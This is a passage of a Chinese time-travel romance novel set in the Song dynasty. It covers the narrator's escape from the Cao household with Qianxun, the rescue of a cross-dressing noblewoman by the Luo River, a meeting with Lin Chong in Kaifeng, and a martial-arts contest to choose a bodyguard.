不知不觉天色已黑了,我几乎看完了,只是越过了关于芊寻的那一段,我还没有想好该如何面对她。所以,只有先放着了。 我申申懒腰,推开窗看见圆月当空,竟然想出去走走了。我漫无目的的走在曹家大院里。此时是初春,天气乍暖还寒。我裹紧了衣服,不觉想到了,如果芊寻看到我,一定会为我披上衣服的,这么想着,突然觉得自己真的快融入曹谦月这个角色了。叹口气,继续前行。 不知到了哪里,我看见窗户亮着,里面有人在说话。我本无意偷听,但里面人突然大声一呼,“您放心,我一定好好管教姓雪的贱人,不守妇道,勾搭那个病秧子,岂有此理,我今天要给她点颜色看看。”说完,我听到门突然被打开,里面冲出一个高大的男人。我意识到他是我大哥,月光下,我看到了的他是个身材健硕的青年,剑眉星目,脸上有着些许英气,但是眼神却像要吃人一般。但是,不容我多想了,他那妒火中烧的样子,我担心他会对芊寻做什么可怕的事。 很快便来到了静怡苑,他踹开芊寻的房门冲了进去,我离着有一段距离都听到了他在打她,还说:“你就这么放不下他,你已经是我的妻子了,他哪里比得上我。你就这么看不起我吗?为什么你和娘都这么喜欢他。我那日就应该得到你……”等我到门口,我看到他撕着芊寻的衣服,粉色的肚兜已经清晰可见,而她在他身下挣扎着。 我冲过去拉住他,他看看是我,便停止了施暴。直起身子,一把扯着芊寻的头发,轻蔑地对我说:“我正想找你呢,来看我们夫妻锦瑟和鸣吗?。要不要一。。。。”听不下去了,他拿她和我当什么了,我伸手就是一掌打在他腹部,本来以为我是自取灭亡,没想到他居然被我打飞了,还撞碎了柜子。接着捂着肚子,晕死过去。 我的胸口也跟着痛起来,我晃了几下刚要倒就被芊寻扶住。我可不想让她担心,我想对她笑,说“没事的”,但她还似是责怪我:“你不可以运功的,我知道你可以胜他,但这样你就活不过今年了。”她终于还是哭了。我听了也吓了一跳。看来我是白来了,什么也做不了。。。。。 这时,闻声而来的家丁看到昏倒的大哥大叫起来:“不好了,二少爷和大少爷。。”但还没喊完人就被打晕了。我一看打人者不竟是一个与娘年龄相仿的女子,面庞英气却略显苍白。“月儿怎么了,”听到娘的声音,那人便匆匆忙忙的离开!娘看此情景忙帮着芊寻扶我起来并且往屋外走,一边走一边说:“早为你们备好了一切,一直在找时机,今天情势危急,你们赶快走吧。后门有马车,你们连夜去京城我本家的万福园吧!车里有个包袱,里面有银两和一个锦囊,那里有我对你们的嘱咐。这里有我在,你大哥不会有事,也不会声张出去的。放心!” 接着,我迷迷糊糊的上了马车,月光送我们离开了洛阳城,开始了前往京城的路。我从窗里望着这个住了两天的家,没什么可留恋的。只是娘那不舍眼神让我很难过。 马车里,我躺在芊寻膝上,她捋着我的头发幽幽的说:“月儿,不用怕,我不让你死的,要走我们也一起。”此刻,我想认了,死就死吧。虽然,没有找到她。。。。。。其实能帮芊寻也就不枉走着一遭了,但愿今后她能有自己的幸福,这是我后半年要做的事,也许也是我有生之年唯一可做的。 就这样,我睡着了,沉沉的。再醒来,天大亮了。车已来到一个有山有水的地方。周遭很平静,映衬了我们此时的心。但突然传来的呼救声,打破了这一切。 其实不再平静的还远不止风景,还有已经认了命的我。遇上她是意外,但也许更是宿命。。。。。 9、初吻 “救命呀,快来人哪”是一种尖利、急促的呼救声,我一下子坐起身。心想在这荒山野岭的地方,会有什么人遇到什么事呢?但听声音像是一个孩子发出的,所以不容多想我和芊寻便下了马车,循声而去。 没找多远,便发现了一条大河。河岸上有一个小女孩儿,八九岁模样,扎着两根小编儿,但穿着很是华丽一看便知是大户人家的小姐。她在岸上急得直跳,一边注视着河里,一边向四周望呼救,“有没有人呀,快来人啊,快救救大哥哥,快。。快”她已经急得哭了,声音也颤抖了。 当她看到我时,像是看到了救命稻草,一下子扑过来,抽泣着说,“大哥哥求求你,救救那个大哥哥,求求你!”说着手指向河中间的一点,我隐约可以看到有一蓝色的头带飘在水里。没想什么我就跳到水里了,我的游泳技术虽然好不到哪去,但是勉强可以不被淹死。终于摸到了那个兄弟,还好他不是很高大强壮,所以把他拖上岸没费什么力气。 到了岸上,我才发现他的嘴已经发紫,不像是溺水这么简单,仔细一看我又发现,他的右腿上有点黑血。我拉起他的裤腿看看,有两个暗红色的牙印,芊寻走近说:“他应该是被水中的毒蛇咬了,才会失去知觉溺了水。但现在,好像有点来不及了。” 我趴在他胸口听,呼吸已经停止了,心跳也很微弱。我想还是先救活他,在想法子为他解毒吧。于是,我微微解开他的衣领,把着他的头,嘴对嘴的开始做人工呼吸,我把气送到他嘴里,他的唇,好软。此时在一旁的小丫头,停止了哭,瞪大眼睛看着我们,少儿不宜呀,真想解释给她听,但救人要紧,芊寻也很是惊讶,也许古代还不会这样抢救落水的人吧。接着我就这开始按压他的胸部,让他恢复心肺功能。 可这一按,坏了。他,不对,是她的胸好像是被布缠的,那就是说她是女人。也好,没什么不好意思的了,我继续给她送气,可是心里却是有些奇妙,我的初吻,给了这个女人了。 终于,她吐出一口水,微微睁开眼睛,我们几乎是零距离,双目对视的瞬间,我的脸刷的红了,她的眼睛好美,清澈无邪如同夜空里的星月般璀璨。然而,我的痴呆没有持续多久,就被“啪”的一声耳光打醒了,嗬,刚缓过来,她还有这么大劲儿。我无语了,把她的头偏向侧边,好让她的呼吸顺畅些。 可以松口气了,但不知何时何地两个黑影突然出现在我们面前。我一抬头,一把剑架在我脖子上了,剑的主人是一个高大魁梧且面容刚毅的男子,穿着浅蓝色的单衣,双手绑着护腕带,一看就是个练家子。在他旁边跑过来一个黄衣女子,丹凤眼,面容娇媚,给人感觉伶俐非凡。她疾步跑到那个落水“男子”的身边,摸着她的脸,说:“公,公子,你怎样了,他们对你做了什么”见到这个形式,本来就够热闹的了,那小娃娃突然放声大哭起来。她冲上去用小拳头捶打那个大个子,一边哭一边说,“你们干什么,哥哥都是好人,一个是为了帮我找回娘的遗物,一个是为了救人,你们不要伤害他们。”这时,黄衣女子也发现了她腿上的毒,便取出匕首在两个牙印之间划了一刀,瞬时绛紫色的血流出来。她怀里的“男子”眉头一皱,咬了咬嘴唇,应该是很痛吧。接着,黄衣女子趴在她腿上用嘴吸着毒血,直到流出鲜红色血为止,她才从包里拿出了一个锦囊,取出瓶药粉撒在伤口上,又拿出一颗药丸喂到他嘴里。此刻,那男子的脸才慢慢恢复血色。 等她恢复意识,小女孩急忙跑到她面前说:“哥哥没事了吗。”“男子”伸出左手,慢慢展开,在他掌心的是一把乳白色象牙质的梳子。她笑了,那一刻她的笑征服了所有生灵,我呆住了。看着在阳光下的她展开的比阳光更加明媚的笑容,我忘了一切。无论是初吻的纠结还是被掌擘的气愤都消散了。能救她,洒家这生,值了! 小妹妹接过梳子,紧紧抱在怀里,流着泪说:“谢谢你大哥哥,都是我不小心,差点害得你死掉。对不起。。。”这小家伙。让我们着实卷入了热闹之中。但也是多亏了她,我们消除了彼此的误会。而我也算是从此结识了我在这时代的第一批人。 过了一会,那“男子”总算可以站起来了,她在黄衣女子的搀扶下,来到我面前,还没来得及看仔细那“公子”的样貌,刚刚持剑的男子早已跪在我面前,“多谢恩公相助,就我家公子一命,刚刚多有得罪,请受在下一拜。”说着便要磕头,我一把上前拦住。之后,我们做了简单的介绍。他和黄衣女子是兄妹,他叫冷岩,妹妹叫冷语。是那位“公子”的家奴,陪她出来游玩的,谁知公子很是爱自由,嫌他们跟的烦,便在洛城偷偷跑了,他们找了好久,才在刚刚发现我们,也就是看到了我在“轻薄”他家公子。难怪了,那麽着急。 可还没来得及问他们公子的姓名,几辆马车姗姗来迟,车上跑下一个中年男人,一看就是个富商或是官宦,他一把抱住小丫头,带着哭腔说,“玉儿,吓死爹了,你不要再乱跑了。”说着父女俩抱着哭成一团。 后来,在小丫头的父亲的一再邀请下,我们一行人上了马车,去了他家。一路上我们知道了他是洛城的瓷商颜非凡,唯一的宝贝女儿就是这个小丫头颜如玉。她娘死的早,只留下一把梳子给小玉儿,她很珍惜。但是但小如玉吵着要娘时,自己又不知该怎么回答,所以就骗她说,娘是洛河娘娘,是神仙自然不会久久留在这里。没想到,她信以为真,趁着上街的机会,一个人跑到洛河边找娘来了。还不小心把梳子掉进河里,接着就引出来我们刚刚的故事。 一转眼,到了他家,我们进了一座富丽堂皇的府邸。这里虽不比曹家气派,但府里人人和气,却是曹府没有的,看来和这个老爷的善良有着不小的关系。我到厢房里换了套衣服,一出来就听说刚刚那公子三人已经走了,真没想到这么快。这时,芊寻走过来,对我说,“那公子已经走了,你用那样的方法救他,真是大胆,不过他也确是一位俊宇不凡的人。你们”看她那表情,像是在想我是不是被那假公子迷住了,毕竟我还是女的呀。第一次,看到她原来也有这样满是醋意的脸,但还是那样的恬静美丽。这让我不忍心逗她,便一五一十的说出她是女子的真相。本以为这会消除她的疑惑,没想到她的脸色更加满含醋意。她叹了口气说,“那她将是一个倾城绝色的佳人,”听到这,我心里明白了,她更在意我对女人的感觉。嗨。我算是在这个朝代被卡上了gl的标记了。 但是芊寻接着的话让我有些警醒。只见她恢复了往日的平静,转向我,“但她的家世绝对不一般,我嗅出了她刚刚用的药,是冰蜂丸和天香散,这两样药有驱毒强体之效,极其珍贵,不是普通富贵人家可以拥有的,所以。。”突然芊寻停住了,她开始急忙摸索自己的衣服,似是在找什么。还急得自言自语道:“怎么会不见了,明明一直戴在身上,怎么。”我问她是什么不见了,她说是紫蝶玉佩。我虽不知是什么,但看她的表情,一定是很重要的东西吧,回忆一下,好像见过她戴有一块紫色的玉佩。 既然对她这么重要,我当然不能不管。想一想,只有在洛河边我们下过马车,一定在那里。想着,我安慰她说,“放心,交给我吧,一定会找回来的。”说着,我转身出门,但她却拉着我说“不行,万一你晕倒了怎么办,你,远比那玉佩重要,我不让你去。要去我们一起去。”眼神坚定。但我还是抓住她的手,更加坚定地笑着说:“没事的,我不轻易用武功就不会有事,你留下来打点行装,我回来,我们就得赶路了,必须快点到京城。还有,从此以后,我们就可以好好的度过我们的日子了。你,等我”说完,我转身离开,消失在夕阳下的庭院里。 当我骑马奔驰到洛河边时,夕阳正红,将水波染得灿灿的如同碎金铺满河中一般。我下了马,岸上的草有半人高,我一边走一边用手扒开草,寻找着芊寻的玉佩。功夫不负苦心人,终于在靠近河水的草里我看到了一块紫色的玉,我赶忙捡起,原来是雕成半只蝴蝶的紫玉。我把它装在怀里,刚要起身,忽听到哗哗的水声,我用手压下眼前的高草,呈现在我眼前的是一个赤着身的女子,她在水中游逸着,夕阳下宛如翩然的仙子。我定睛一看,没想到居然会是她! 10、洛神 正是我白天所救的女子,此刻完完全全展现在我的眼前。水中的她飘飖若轻云蔽月,流风回雪。瑰姿艳逸,仪静体闲,翩若惊鸿,婉若游龙。此刻,洛神赋在我心里具象化了! 不单是因为借着夕阳的映照,她依然可以在这山水之间耀眼夺目。看着她,会让人忘了眨眼,不自觉地屏住呼吸。 此时,我想这里是洛河。若真的有洛神,也许才能胜她半分吧!也或许,她就是洛神。看着看着,我竟然觉得自己唐突,甚至有些害羞,竟会被女子逼到这种地步。我红了脸转向一边,不敢再看。 她是个即使是女人也会为之心醉的世间尤物,不,也许她更像是魔物。让任何人着魔、痴狂! 突然,她从水中一跃而起,叫了一声,“哈哈,抓到你了。”我差点吓得猝死,难道被她发现了。我转过神一看,只见她手里抓着一条黑蛇,缓步向岸上走来,笑着,让我看到了她的丹唇外朗,皓齿内鲜。这样的笑颜把夕阳也逼下山去了,天黑了,她成为了这世间唯一的光芒。终于快上河岸了。随着她一点点脱离洛河,这只芙蓉终于被烘托出水面了。她的步态轻盈,仿佛是踏着浮云,感觉她脚下的土地随着她的一步又一步生出了朵朵莲花。 迎着她,冷语为她披上了一件白色锦衣,她们进到一辆马车里。此刻的我彻底惊醒过来,刚刚的画面,也许终我一生也不可能忘得掉。但我想起了芊寻还有她说的话,我还是快点回去吧。想着,我便起身离开。谁知没走几步,就碰到了那个硬汉-----冷岩。他问我,“曹公子?怎么会在这里?”我忙说来找回白天遗失的东西,而他则说他家公子要畅游一番,他和妹妹要做好保护工作。 正说着,马车里传出熟悉的声音,“大哥,是谁?”得知是我后,我刚要说告辞。便被另一个声音叫住,“公子且慢,我要好好感谢你呢!”这声音有如玉盘相击般清明悦耳,似是天籁传来,但是又加上了故意压低的嗓音,显得富有磁性。看来,她是又扮男子了。说着,我来到车前,车帘渐开的瞬间,我见到的不是刚刚的洛河仙子,而是,一位翩翩的美少年。她身穿红色锦衣,衣领和衣襟处均是雪白的锦毛装饰,头上戴着镶玉的方型纱头巾,腰上缠着田黄玉宝带,脚下穿着黑色皂靴。面容平和,淡去了刚刚的媚气,倒是增添了不少英气,好个俊宇不凡的公子。 但是,她并没有像我想象的那样迈着四平八稳的官步缓缓走下马车,而是一个箭步跳下了车,冷语也赶忙跟着下来。她一见我,笑了笑,我不知该用什么样的表情对她才好,谁知她还像模像样的抱抱拳,豪气非凡的说:“今天,多谢大哥出手相救。”我也学着她抱拳说没有什么。正在这时,我闻到了香味,她也是,“好了,一起吃吧。”不等我说什么,她就拉着我坐到火堆边,火上烤着一段一段用树枝穿着的东西。 不由分说,她拿起一串递到我手上,不知是火烤的还是天生的,她的手好暖,我自认为是个暖手炉了,没想到她的手如火般炽热。她一边笑,一边吃着,一口口的,虽然吃的津津有味,但丝毫不减端庄。我也咬了一口,果然很香。她对我说,“很好吃对不对,冷语做吃的天下一绝呢。”我一愣,什么呀。但突然想到刚才她抓着的蛇,哦,不会吧,这么生猛吗?! 接着,听她们讲起,她白天一换好衣服就急着跑回来,弄了一身的雄黄,跳到河里抓那只凶手。她说自己游泳的技艺很高的,“自从4岁那年,在御,”只听得冷岩冷语跟被什么呛到似的咳嗽起来,她若有所悟的接着说“在花园里玩,掉到湖里后,差点没命了。父亲就找了游水高手教我游泳了,所以在水里我是最厉害的。没想到。哎,都是那家伙惹得祸,但是也不能放纵它继续伤人呀,就把它放进更深的山里了。”哦,我错怪她了,原来她是这样的善良天真。甚至对于伤害她的异类。 就这样,我们喝着酒,吃着烤山芋。突然,她拄着下巴对我说:“老实说,白天被毒弄得迷迷糊糊的,都忘了感谢你了。”她说出这话,看来是真的什么也不记得了。我突然觉得脸颊隐约还可以感到点疼痛,我一边摸着脸一边笑着说:“没有,你已经重重的。。。。。谢过我了。”这时她满脸疑惑,坐在一旁的冷语覆在她耳边说了点什么。她才张大眼,同时顽皮的吐了吐舌头。“真是昏了头了,来吧,为了补偿加感谢,我们痛饮一番吧。”她又在对我笑了,天呀,在这样我会流鼻血的。 在火光的映照下,她如玉般白皙通透的肌肤已经泛起红蕴。越看越是觉得她真的很可爱活泼,说话理直气壮的,笑声也甜爽的很。而且,她懂得很多,一闻就知道我们喝的杜康酒存了多少年。还有在谈笑间,她留意到了,我怀里露出的玉佩,她要看看,我便递给她。只看她,一手托着下巴,一手举起玉仔细端详,眉头微微一皱,认真的说:“这是,出自琉球的紫薇山上的玉,奇怪,这只有原来的一半,像是被利剑分开,看样子应该是一只蝴蝶。这种玉有奇妙的灵力,冬暖夏凉,很通人性的,而且坚硬不易下刀,所以,所雕之物必是价值连城,可以说是镇国之宝了,很珍贵呢。”说着,交回我手上。笑着说,“是给嫂子的吗,好好放着吧”我点点头,是的芊寻的。 她又笑了,但眼睛有点偏移了我的视线,有一点不自然。 接着她问我,小如玉怎么样了。我说很好。她说,“孩子对母亲的遗物一定看得比命还重要,那个小不点。嗨,但也很幸福呢,至少她还有个可以怀念的物件,而我就”看她有些伤感,在火光下眼中隐约闪现出泪光。但随即,又笑道,“但没什么呀,关心我的人还是很多的。更何况我闯荡江湖,遇到了好多像曹大哥这样的重情重义的好人呀。我真是颗幸运星”原来,她没有母亲。所以,拼了命要帮如玉找回梳子。因为,她心里明白失去亲人的苦楚。 渐渐的我有些眩晕,不是酒,而是她。看着眼前这个聪慧、善良、率性的女子。我想不管在哪里,在什么时代,她都会是无数人的奇异心跳。美好的事物,谁会不喜欢呢? 她是那样的光彩夺目。而我,只是个时空错位的摆错了的棋子。 醉了,我喝醉了。天色已晚,该走了。我得回去找芊寻才行。她没有留我,只是问了我的名字,我问她时,她刚要开口,旁边的冷语干咳了一下,她转转眼睛说:“我叫宋帅。后会有期。”一看就知道是现编的,呵呵。连撒谎都不会,但是,真的很可爱。至少,刚刚的对饮,让我来这里后第一次觉得轻松,无忧无虑的忘了一切牵绊。 一回到芊寻身边,她就抱住了我,“等了很久吧”我问,她摇摇头,我把玉佩放在她掌心,她开心的双手合十把玉佩夹在中间,轻轻的说:“娘,对不起”这个姿势和小如玉拿回梳子一样,我想到了仙女的话,是她母亲留下的吧。看她那欣然的样子,我又想到了,她那句“你远比它重要”。我,又一次必须得担起谦月的责任。我对芊寻说:“我们出发吧,去京城。” 我们拒绝了颜老板的再三挽留,跟哭得不亦乐乎的小如玉说再见。颜老板也没办法,只得抱过女儿,并对我们说无论以后有何事,必定全力相助以报今日救女之恩。说着便送我们出了城。 月光下,我们的马车驶在山水之间,旁边的洛河静静的流淌着。月光挤进窗柔柔的撒在芊寻的脸上,她枕着我的膝睡着。像个孩子,长长的睫毛,嘴角微微泛起一丝笑意,现在的她一定很安心,很开心。这是她该有的,但是除我之外还有谁这样的给予是她愿接受的呢? 芊寻你知道么,你是我黑夜里的月光,轻柔,细腻,永恒存在;可我们之间的雷池。谦月不敢逾越,我又该怎么做呢? 望着静静地洛水,我感到心绪难平,却不由得想起了属于“洛神”和我的一幕一幕。她的美,她的好。但我明白了芊寻的话,她的身份的确非比寻常,知书达理,气度非凡,举手投足间洋溢的贵气。宋帅,大宋的主子吗?想必一定是皇亲贵胄、皇亲国戚吧。但是,她身上却又有着即使隐士也少有的豁达率直。虽然才刚刚分别,但真的好想能早日再见到她。让我的生活有了色彩的女人。再见说不定会成为好朋友呢。好,但愿我们有缘。 后会有期了,宋帅! 后会有期,我的洛神! 11、京城偶遇 不知不觉,天已经蒙蒙亮了。我们的马车终于进了大宋都城------开封。我扯开窗帘望着外面,不得不感慨中国古代城郭建筑的独特,好个天圆地方。条条街巷相交有秩,在巷口往里望去,真是幽巷深深难见底。在清晨的暮色里,已有人影移动了。但一切像是凝聚着清晨的露水,有些冰冷。石板铺成的路面,接口处略有凹凸,马车行驶其上,不免有颠簸之感。看着膝上熟睡的芊寻微微翻了翻身,我轻声吩咐车夫慢一些赶车,并把她身上的披风为她盖得更严实些。 马车继续前行。 渐渐的,我看到沿街的商家都纷纷的在撤门板,似是要开门做生意了。终于天大亮了,阳光照了上来,空气中多了些许暖意。街上卖东西的小贩,买东西的少妇,大家讨价还价,一时间叫卖声,调侃声将一切变得热闹起来。店面也是各有个的特点,让人应接不暇,但是远处有一家吸引了我的注意。 “有面吃”,有趣!挺现代的一个名字吗,远道之人风尘仆仆、饥肠辘辘,看到这里“有面吃”不得乐疯了,非要冲进去大吃一顿不可。我正笑着这名字。却感到芊寻动了动,周围这么吵闹想再睡可是有点难了。只见她揉了揉有点迷惘的眼睛,轻声问:“月儿,我们到哪了?”我正看着那招牌,所以顺着说:有面吃。芊寻有点疑惑,“不是去京城么,怎么改去有。。。”还没说完,她就扑哧笑了,想必是睡迷糊了,犯傻的问了这个问题。但是,这个聪慧淡雅的女人犯傻时却有另一种可爱呢,真实的快乐。我们相视一笑,我问:“赶了一夜的路,饿了吗?我们去看看这家有面吃如何?”芊寻先是摇头,接着又是点头。她笑着说,“不累,昨晚是我睡的最好的一夜。”但是,为了我的好奇,我们还是下了车。吩咐车夫先去通报万福园,打点一下。 我们并肩走在京城的街上,呼吸着同样的被阳光烤暖的空气,温馨舒适。就在快到有面吃时,我们被一个不知从哪跑来的孩子撞了一下,我觉得这很熟悉。因为古装电影里经常有人这样偷盗,我一回手拽住了这个孩子。钱不重要,但是这样小的孩子就走上歧路,恐怕有什么隐情才是。哪知这孩子,一仰脖大义凌然的说:“被你捉住了,要杀要刮随你便。”喂,我又不是地主老财,为什么要那么狠呀。我笑着说,“人小,倒挺有骨气的,和谁学得这一套套的。小大人。走吧,我请你吃饭。”说着,我放开了他,他倒也天不怕地不怕的领着我们往“有面吃”里走。 一进门,迎上来一位小二,一身麻布衣,肩上有块手巾,相貌挺忠厚也挺大众。只见他笑脸盈盈,但望着那小孩时有了半点停顿,可是很快就没事似的,一边擦桌子,以便为我们要点什么。我问那小子,看来你是常客,有你指点好了。原来,这“有面吃”经营各种面食,什麽天津狗不理包子啦,山西刀削面啦,只要是面食,他们都做得地地道道的。那小子也不客气,叫了各种包子十屉,然后开始狼吞虎咽的吃起来,一副今朝有酒今朝醉的模样。我和芊寻也吃了起来,果然味道鲜美得很。吃着吃着,老板出来了,是一位眉清目秀的中年人,胡须飘然。只见他上来作揖,开口竟是“在下包通天,请两位客官,放过着小牛皋一马吧!他是个孝顺又可怜孩子,他这样全是为了他娘,还有受葛三那痞子的威胁,”我们且停下来细细听他的故事。原来是个自幼丧父,母亲又一直重病缠身,后来被当地地痞葛三看重,以他娘威胁他,才会一直在他手下偷盗。像他这样的孩子还有很多,那葛三坐享其成。老板当时也是被牛皋偷了钱袋,渐渐留意到了他的苦衷。他天天偷东西被人捉了既不逃也不辩解,经常是一身伤。老板有时会出面帮着解围,还接济接济牛家。哦,原来是这样。 其实,我原本就没有要怪他的意思,只是想知道其中内情罢了。待我们吃完,牛皋将剩的包子包好,准备带回家给他娘吃,孝心可嘉。我笑着对牛皋说:“吃完了,结账吧。”老板忙说不必了,感谢我的大人大量。这次他请。这时,牛皋把钱袋拿出来要还给我,我没打算接。 我要这小子顶天立地的像个男子汉一样的活着,我把钱带推给他,让他用里面的钱结了帐,其余的,我让他留下,好好地照顾他娘好好生活。 刚说完身后就传来一声,“公子义盖云天,林某愿交你这个朋友。”转身一看,门外进来一个高大的男子,豹头环眼,燕颔虎须。包掌柜赶忙上前说:“林教头,大清早的怎么就来了,不用述职去吗?”教头回答说,“我也是为了牛皋而来,自从听说了葛三那无赖的事,我深觉此人遗害无穷,于是就想除了他。今天是来通知你,我已经将他好好教训了一顿,赶出了京城,日后这些孩子再也不用做违心之事了。”老板和牛皋都乐了。那位林教头走到我跟前抱抱拳说:“在下林冲,在京谋职,请问公子高姓大名。”我一时还没反应过来,他的名字太传奇了。我回答之后。他转向牛皋,说:“你这孩子挺有骨气的,身子骨也结实,愿不愿参加军队,凭自己的力量养活自己和你娘。建功立业报效国家。”这一席话说的牛皋连连点头。 气氛很好,但是突然跑进来的两个人打断了这一切。一个士兵模样的人跑进来说:“教头,太尉命您速去白虎堂。”而与此同时,另一个进来的人正是我的车夫,他递给我们一张字条写有:速来万福园。林冲不敢违命就只得留下一句后会有期匆匆走了。包老板对我说;“小店真是有幸,竟然在一天之内有两位大义之人光临。曹公子,心地纯厚;林教头嫉恶如仇。”我想到了《水浒传》。就问:“他可是八十万禁军教头,人称豹子头的林冲。”老板说正是。 突然,我想到他好像腰上挂着一把刀。糟了,他要闯白虎堂了,那将是他命运的转折点。不管真假,我都不希望这样一个英雄被奸人所害。我向掌柜要来纸笔。天呀!毛笔宣纸,我怎么可能用的好呢。不管了,写吧。但是芊寻过来一看,说:“月儿,你写的是什么文字?”对了,我不会写繁体字,古人看不懂的。没办法,我只得让芊寻来写了。按我的意思,“万万不可带兵刃进白虎堂,保全余妻,小心山神庙。”我请老板快找人给林冲送去。晚了,就来不及了。我嘱咐说,关乎林教头性命。老板二话没说就让那小二去了,他说救林教头义不容辞。 而我,带着担心,和芊寻一起匆匆的往万福园赶去。也许历史和小说不同,但毕竟只怕万一。我倒希望我只杞人忧天。芊寻一路上还问我何时会占卜了,我笑而不语。也许只是巧合罢了。 终于到达了万福园,这是一座有点壮丽的府邸,不同于以前所见的任何一座。只见朱红色的大门敞开着,门前的石狮边立着一块木板上面贴着告示,赫然写着:“征护院一名”。哦,不就是比武招“镖”么。这样气派的府苑,当然要找个武功高强的保镖来护院啦。但是,到底是谁让我和芊寻快来的呢。 正这样想着,一群人从园里走出来。我一看,是,是娘。我和芊寻都很吃惊,娘居然也跟来了。大娘一把抓住我的手,激动地说:“月儿,你们这一路颠簸,身体可有什么不适。”我摇摇头,她便带着我们往里走。原来,那天之后,大哥伤的并不重,第二天醒过来了,就进京接任右卫将军一职了,太奶奶在家守着。大家都没将此事声张。而娘担心我们和大哥都在京城会有冲突,便赶来保护我和芊寻。 一边说着,我们一边往后院去。越往里就越能听到一阵阵的叫好声,兵刃相击声。想来那招“镖”正如火如荼的进行着。娘拉着我继续往里走,说:“这场擂台是为你准备的。”我听得疑惑,但还是到了后院。嗬,好大的阵势,擂台上正有两人在打斗着,台下也为了好多练家子。但这与我又会有什么联系呢?想着,我们入了座,观看众人打擂。 12、比武招“镖” 起初,我很乐得观赏这场古代的武学盛宴。见到台上台下的人除了武行打扮的,还有和尚,道士打扮的,看来这年头想混口饭吃还真不是件容易的事,连五蕴皆空的修行之人也不得不卖弄拳头。看着他们的“厮杀”还真有点看电影的感觉,像轻功什么的我还是第一次见到,人真的可以脱离地心引力飞起来。还好他们是点到为止,所以最多也就是有人倒在台上,另一人就抱拳说承让,然后继续接受挑战。台上拳脚相向的声音,台下骚动着,品评着,也有人安静的眯着眼若有所思,像是在寻找破绽。 但是,我是越看越没兴趣,这些人正上演着山外有山的古训,没有谁能永远立于不败之地。 也许看出了我的慵懒与无心观战的心境,大娘转向我笑了,“他们不过是在杂耍而已,都只是为名利而战罢了,我是不会把你交给他们的。” 啥?把我交给谁?不是找保镖吗,怎么说的像比武招亲。 我不得不问,“这与我。。。。。。”还没说完,娘便解释说:“万福园无人敢擅闯,自然无需劳师动众的选什么护院。但是现在的你,武功不用说了,无法施展半分,而且这一路上不知将会遇上什么危险,一定要选好人照顾保护你才行。”我要去哪里呀,还是不知道,但此时我看到了娘身后的芊寻,她会和我一起吗,那就会安心许多了。我还想接着问些什么。但。。。。。。 突然觉得气氛不对劲了,台上台下不知何时变得安静了。我望着擂台之上,只见一个青衣壮汉,一张黑脸,满脸络腮胡。如果不是他壮而不胖,我定以为是李逵跑来了,咦,我们好像是的确生活在同一时代了嘛!莫非。正想着,却听那人开了口,“还有哪位愿意赐教,”这时我听见台下窃窃私语,他已经在上面半个时辰了,击退了十几名挑战者,我只顾着想事情都没留意到。但是,经台下的人一说,我倒是涨了不少见识,所谓外行看热闹内行看门道,听得我也觉得好奇起来。他施展的既非南拳,也非北腿;不是少林弟子,更不像其他各中原门派。功夫套路之奇令人生畏。 台下只有些许私语,但久久无人再上台迎战。这时管家跑上台,看来是要宣布最后获胜者了。可是,被一声“且慢”翠然打断了。一个白衣身影从天而降,落在台中。刚好留了个背影给我,台下又开始躁动了,“真是不知死活呀。。”是呀,这位战士也太“迷你”了吧,个子好像比我还矮一点点呢,而且身材也过于“婀娜”了,给人弱不禁风之感。还没动手就已经唏嘘一片了,有人开始起哄,劝他快下来吧,就算是点到为止,只怕他连这一点也是受不起的。 管家也说话了,“这位壮士,点到为止,但死生各安天命。”白衣少年似是点了点头,那男黑脸汉子也不在客气,抱抱拳就冲了上来。只见那大拳头将要打中少年身体时,却被少年轻松的抓住了,然后轻轻一推,就把壮汉弄得连连退后好几步。接着,“黑面神”似是使出了浑身解数,时而辗转,或而腾挪,犹如蛟龙般飞于白衣少年身边各个方位,大家都感叹他的技艺之高,反而忽视了如在舞蹈一般的少年。 台下越来越安静了。突然,黑脸人一连串的旋风地堂腿,扫的少年无处可避,只得踏在“黑面神”腿上一跃而起,如同一条锦鲤,向后划出一道莹白色的弧线。落在擂台缘上,身体微有晃动,许是失去了重心。而这时,那黑脸人乘胜追击,上前就是一掌打在少年腹部,台下有人喊出:“卑鄙,乘人之危。。。。。。”那少年必定会飞出了。 但是,接下来发生了戏剧性的一幕,少年非但没有被掌力击飞,反而牢牢地贴在黑面人掌上,此时的他与地面呈45度角。没理由呀,怎会如此。突然台下恍然大悟道:“是失传已久的慈心诀,”有人跟着也说起来,从行家的嘴里,我知道了,所谓慈心诀就是一种类似气功的绝世内功。慈与磁同音,此功的特点是可以吸收一切,无论是物体,还是别人的功力,如同一个磁场心。因为太过恐怖,所以曾有人凭此危害武林,所以,人们只有祈祷,修炼次功者是个心地善良之人,否则又是一场腥风血雨。因此得名“慈心诀”,但是,它已失传近百年了。没想到今日可见。 正在大家议论纷纷时,那“黑面神”的脸已经是通红通红了,想必是欲抽手而不得了。 终于,白衣少年一用力又飞回到台中央,而那黑面人却险些闪到擂台之下,气喘吁吁,汗流满面不止。欲再向前,谁知没和少年交上三招就被少年击中肩头,飞出了擂台,还撞断了一根旗杆。哦,高人呀。少年抱抱拳说了句:“承让”。接着,转向我们这里。 我还沉浸在刚刚那惊险的一幕幕中,古人的功夫让我大吃了一惊,“迷你小战士”更着实吓了我一跳。但是,他转过来的瞬间,却吓了我两跳。 洛神,不,“宋帅”,想不到我们会这样快再相见,而且竟是在这种情况下。台下再也无人再敢上台了,黑脸人已让他们望而却步了,现在更是连大气都不敢喘了。 娘也没有再等下去,而是笑着走上台,对宋帅点点头,结果自明。我机械的走到她面前,脑子还没有渡过惊讶反映。而她,却笑着对我抱拳,“曹大哥,我们又见面了。”阳光下,她的笑颜,还是那么美丽。真想不出她竟是怀有绝世神功的女孩儿! 送走众人后大娘带着我,和她商谈。原来,聘请她的任务就是保我远行的平安,以一万两为报酬。至于去哪里,我和她们一样陌生。当娘问起,宋帅气度、功夫非凡,何以要谋这门生意时。她讲道:“实不相瞒,在下本是贵胄之后,谁想家道中落。”她声音低沉,“家父又生重病将不久于人世,”说这话时,我留意到冷语瞪大了眼,想必这谎撒的有点过头了,他父亲应该不是可以随便咒的。这时,冷岩从外面进来了,娘看看她们没有再多问什么,而是笑笑说,好,那就一言为定了。离开前还对冷岩说了句:“壮士的脸还没有擦干净呢”此刻我才注意到,冷岩脸上却有一块像炭灰一般的痕迹。接着大娘让我带她们去厢房了。 